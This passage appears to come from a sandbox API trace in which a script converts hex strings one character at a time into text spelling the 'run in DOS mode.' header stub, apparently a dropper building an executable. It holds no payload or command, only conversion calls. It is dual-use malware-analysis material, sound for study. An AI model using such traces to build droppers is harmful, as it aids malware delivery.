CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 1 [0191.107] VarParseNumFromStr (in: strIn="&H72", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.107] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0191.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="r", lpUsedDefaultChar=0x0) returned 1 [0191.108] VarParseNumFromStr (in: strIn="&H75", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.108] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0191.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u", lpUsedDefaultChar=0x0) returned 1 [0191.109] VarParseNumFromStr (in: strIn="&H6E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.109] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0191.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="n", lpUsedDefaultChar=0x0) returned 1 [0191.110] VarParseNumFromStr (in: strIn="&H20", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.110] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0191.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.111] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 1 [0191.111] VarParseNumFromStr (in: strIn="&H69", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.111] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.111] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0191.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i", lpUsedDefaultChar=0x0) returned 1 [0191.112] VarParseNumFromStr (in: strIn="&H6E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.112] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0191.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="n", lpUsedDefaultChar=0x0) returned 1 [0191.113] VarParseNumFromStr (in: strIn="&H20", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.113] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0191.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 1 [0191.114] VarParseNumFromStr (in: strIn="&H44", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.114] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.114] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="D") returned 1 [0191.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="D", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="D", lpUsedDefaultChar=0x0) returned 1 [0191.114] VarParseNumFromStr (in: strIn="&H4F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.115] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.115] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="O") returned 1 [0191.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="O", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="O", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="O", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="O", lpUsedDefaultChar=0x0) returned 1 [0191.115] VarParseNumFromStr (in: strIn="&H53", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.115] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="S") returned 1 [0191.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="S", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="S", lpUsedDefaultChar=0x0) returned 1 [0191.116] VarParseNumFromStr (in: strIn="&H20", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.116] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0191.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 1 [0191.117] VarParseNumFromStr (in: strIn="&H6D", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.117] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0191.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="m", lpUsedDefaultChar=0x0) returned 1 [0191.118] VarParseNumFromStr (in: strIn="&H6F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.118] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.118] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0191.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="o", lpUsedDefaultChar=0x0) returned 1 [0191.119] VarParseNumFromStr (in: strIn="&H64", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.119] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0191.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="d", lpUsedDefaultChar=0x0) returned 1 [0191.119] VarParseNumFromStr (in: strIn="&H65", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.119] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0191.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e", lpUsedDefaultChar=0x0) returned 1 [0191.120] VarParseNumFromStr (in: strIn="&H2E", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.120] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0191.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x0) returned 1 [0191.121] VarParseNumFromStr (in: strIn="&HD", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.121] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="\r") returned 1 [0191.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r", lpUsedDefaultChar=0x0) returned 1 [0191.122] VarParseNumFromStr (in: strIn="&HD", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.122] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="\r") returned 1 [0191.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r", lpUsedDefaultChar=0x0) returned 1 [0191.123] VarParseNumFromStr (in: strIn="&HA", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.123] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x14f5634, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0191.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x53a5444, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0191.124] VarParseNumFromStr (in: strIn="&H24", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eabc, rgbDig=0x18ea9c | out: pnumprs=0x18eabc, rgbDig=0x18ea9c) returned 0x0 [0191.124] VarNumFromParseNum (in: pnumprs=0x18eabc, rgbDig=0x18ea9c, dwVtBits=0x8, pvar=0x18eaec | out: pvar=0x18eaec) returned 0x0 [0191.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eb04, cbMultiByte=1, lpWideCharStr=0x53a5384, cchWideChar=1 | out: lpWideCharStr="$") returned 1 [0191.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="$", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0191.124] WideCharToMultiByte (in: CodePage=0x0, 